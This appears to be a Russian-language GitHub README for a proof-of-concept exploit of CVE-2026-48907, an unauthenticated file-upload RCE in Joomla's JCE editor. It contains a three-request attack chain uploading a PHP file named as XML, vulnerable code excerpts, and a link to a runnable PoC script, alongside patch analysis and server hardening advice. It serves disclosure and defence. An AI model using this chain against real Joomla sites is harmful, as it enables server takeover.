
Эксплойт Proof-of-concept и технический анализ для CVE-2026-48907, уязвимости удаленного выполнения кода до аутентификации с CVSS 10.0 в Joomla Content Editor (JCE). Включает цепочку атак из 3 запросов и подробный разбор исправления.
Proof-of-concept эксплойт для CVE-2026-48907 — уязвимость удаленного выполнения кода (RCE) с рейтингом CVSS 10.0 без аутентификации в расширении Joomla Content Editor (JCE).
Исследование Grayxploit Security Team
CVE-2026-48907 — это критическая уязвимость удаленного выполнения кода (RCE) без аутентификации, затрагивающая расширение Joomla Content Editor (JCE) — наиболее широко используемый редактор Joomla — во всех версиях до 2.9.99.4 включительно.
Объединив три независимые слабости безопасности в рабочем процессе импорта профилей JCE, полностью неаутентифицированный злоумышленник может:
/tmp/Атака требует всего 3 HTTP-запроса и работает против любой стандартной установки Joomla с уязвимой версией JCE.
CVSS v4 Score: 10.0 — Critical
Обнаружено и публично раскрыто командой безопасности Grayxploit после ответственного раскрытия.
| Программное обеспечение | Уязвимые версии | Исправленная версия |
|---|---|---|
| Joomla Content Editor (JCE) | ≤ 2.9.99.4 | 2.9.99.6 (рекомендуется) |
Примечание: В версии 2.9.99.5 внедрено основное исправление. Версия 2.9.99.6 добавляет дополнительные уровни защиты. Обновитесь до 2.9.99.6 или новее.
Уязвимость возникает в конечной точке импорта профилей JCE:
POST /index.php?option=com_jce&task=profiles.import
JCE позволяет администраторам экспортировать и импортировать профили редактора в виде XML-файлов. Обработчик импорта доступен без аутентификации и принимает произвольные загрузки файлов из-за цепочки трех независимых слабых мест.
Контроллер импорта не выполнял проверку ACL:
public function import()
{
// Единственная защита: CSRF-токен — легко обходится
Session::checkToken() or jexit(JText::_('JINVALID_TOKEN'));
$app = Factory::getApplication();
// … сразу переходит к обработке файла — вызов authorise() отсутствует
}
Joomla встраивает CSRF-токен в каждую публичную страницу как мета-тег или JS-переменную:
<meta name="csrf.token" content="abcdef1234567890abcdef1234567890" />
Злоумышленник просто загружает главную страницу, извлекает токен и использует его повторно. Проверка CSRF предотвращает межсайтовые запросы — она не предотвращает прямые скриптовые запросы. В пути импорта не было вызовов Factory::getUser() или $user->authorise(...).
Обработчик загрузки использовал File::makeSafe(), который только удаляет недопустимые символы файловой системы — он не проверяет и не ограничивает расширения файлов:
$file = $app->input->files->get('profile_file', null, 'raw');
if (!is_uploaded_file($file['tmp_name'])) { return false; }
$name = File::makeSafe($file['name']); // удаляет только недопустимые символы
$destination = $config->get('tmp_path') . '/' . $name;
$source = $file['tmp_name'];
File::upload($source, $destination, false, true);
Имя файла, например shell.xml.php, проходит File::makeSafe() без изменений. Apache с mod_php выполняет его, так как последнее распознанное расширение — .php. Расширения типа .php, .php5, .phtml и двойные варианты были приняты.
File::upload() вызван с $allow_unsafe = true (CWE-116)Встроенный в File::upload() Joomla черный список расширений блокирует опасные типы файлов, когда $allow_unsafe = false (по умолчанию):
// Сигнатура Joomla File::upload()
File::upload($src, $dest, $use_streams = false, $allow_unsafe = false)
Уязвимый код JCE явно отключал эту защиту:
// УЯЗВИМО — небезопасные загрузки явно разрешены
File::upload($source, $destination, false, true);
Этот единственный логический флаг отключал весь внутренний черный список расширений Joomla, позволяя записывать на диск .php, .php5, .phtml и все другие исполняемые расширения.
┌─────────────────────────────────────────────────────────────────┐
│ │
│ ① GET / │
│ ← Извлечение csrf_token из HTML/JS │
│ │
│ ② POST /index.php?option=com_jce&task=profiles.import │
│ Content-Type: multipart/form-data │
│ │
│ --граница │
│ Content-Disposition: form-data; name="task" │
│ profiles.import │
│ --граница │
│ Content-Disposition: form-data; name="<csrf_token>" │
│ 1 │
│ --граница │
│ Content-Disposition: form-data; │
│ name="profile_file"; │
│ filename="shell-<hash>.xml.php" │
│ Content-Type: application/xml │
│ │
│ <?= 45*69 ?> │
│ --граница-- │
│ │
│ ← 200 OK (файл записан в /var/www/html/tmp/) │
│ │
│ ③ GET /tmp/shell-<hash>.xml.php │
│ ← Ответ: "3105" (45 × 69 = RCE подтвержден ✓) │
│ │
└─────────────────────────────────────────────────────────────────┘
Нет файлов cookie сессии. Нет имени пользователя. Нет пароля. 3 HTTP-запроса.
⚠️ Этот PoC предоставлен строго для авторизованных исследований безопасности и тестирования на проникновение. Не используйте его против любой системы без явного письменного разрешения. Неавторизованное использование незаконно и неэтично.
pip3 install requests
git clone https://github.com/grayxploit/CVE-2026-48907.git
cd CVE-2026-48907
pip3 install -r requirements.txt
python3 poc.py
[] Target : http://localhost:9999
[] Payload : cve-2026-48907-4821.xml.php [] Step 1 — Fetching CSRF token...
[+] CSRF token: abcdef1234567890abcdef1234567890
[] Step 2 — Uploading payload...
[+] Upload response: HTTP 200
[*] Step 3 — Triggering payload execution...
[CRITICAL] RCE CONFIRMED — CVE-2026-48907
Target http://localhost:9999 is VULNERABLE
Все три слабости были исправлены в JCE 2.9.99.5, а дополнительные укрепления выпущены в 2.9.99.6.
controller/profiles.php:
$user = Factory::getUser();
if (!$user->authorise('core.manage', 'com_jce')) {
throw new Exception(Text::_('JERROR_ALERTNOAUTHOR'), 403);
}
Гостевые пользователи (id = 0) немедленно проваливают authorise(). Запрос отклоняется до обработки файла.
models/profile.php:
$extension = PATHINFO($name, PATHINFO_EXTENSION);
if (strtolower($extension) !== 'xml') {
$app->enqueueMessage(Text::_('WF_PROFILES_IMPORT_INVALID_FILE'), 'error');
return false;
}
PATHINFO_EXTENSION возвращает только последнее расширение. shell.xml.php → php → отклонено. Нейтрализует все обходы с множественными расширениями.
// До (уязвимо)
File::upload($source, $destination, false, true);
// После (исправлено)
File::upload($source, $destination, false);
Внутренний черный список расширений Joomla снова активирован как независимый уровень защиты.
| Исправление | Подробности |
|---|---|
| Ограничение размера загрузки | Отклонять файлы > 512 КБ |
| Защита от XXE | libxml_disable_entity_loader(true) перенесено на PHP 7.x |
| Белый список XML-полей | Обрабатываются только известные безопасные XML-ключи; произвольные ключи молча игнорируются |
| Приоритет | Действие |
|---|---|
| 🔴 Немедленно | Обновить JCE до ≥ 2.9.99.6 |
| 🟠 Высокий | Заблокировать или ограничить веб-доступ к /tmp/ на уровне сервера |
| 🟠 Высокий | Отключить выполнение PHP во временных каталогах через .htaccess или конфигурацию сервера |
| 🟡 Средний | Добавить правило WAF для предупреждения/блокировки com_jce&task=profiles.import от неаутентифицированных сессий |
| 🟡 Средний | Проверить другие расширения Joomla на предмет File::upload(..., true) без проверки расширения |
/tmp/ через .htaccess<Directory /var/www/html/tmp>
php_flag engine off
<FilesMatch "\.ph(p[2-9]?|tml)$">
Deny from all
</FilesMatch>
</Directory>
| Дата | Событие |
|---|---|
| 2026-05-XX | Уязвимость обнаружена командой Grayxploit |
| 2026-05-XX | Ответственное раскрытие отправлено мейнтейнерам JCE |
| 2026-06-XX | CVE-2026-48907 присвоен MITRE |
| 2026-06-XX | Выпущена JCE 2.9.99.5 — основное исправление |
| 2026-06-12 | Выпущена JCE 2.9.99.6 — дополнительное укрепление |
| 2026-06-12 | Публичное раскрытие Grayxploit |
Этот репозиторий предназначен исключительно для авторизованных исследований безопасности, обучения и тестирования на проникновение систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение.
Команда Grayxploit не несет ответственности за любое неавторизованное, незаконное или вредоносное использование кода или информации, предоставленной в этом репозитории.
Используйте ответственно. Тестируйте законно.
Этот проект лицензирован в соответствии с лицензией MIT.
Каждая звезда помогает этому исследованию достичь большего числа защитников, пентестеров и синих команд, которым это нужно.
Grayxploit — независимая команда исследователей безопасности, специализирующаяся на обнаружении уязвимостей, разработке эксплойтов и ответственном раскрытии информации на веб-платформах, в экосистемах CMS и открытом программном обеспечении.
| Мы находим | Мы раскрываем | Вы защищаетесь |
|---|---|---|
| RCE без аутентификации | Ответственно и публично | С нашим подробным анализом исправлений |
| Логические ошибки | С полным разбором первопричин | Используя наши PoC безопасно |
Есть совет или хотите сотрудничать? Откройте Issue или свяжитесь через наш профиль GitHub.
CVE-2026-48907 — Оригинальное исследование
Разрушаем системы. Ответственно.
| Цепочки уязвимостей | До начала массовой эксплуатации | Быстрее, чем угрозы |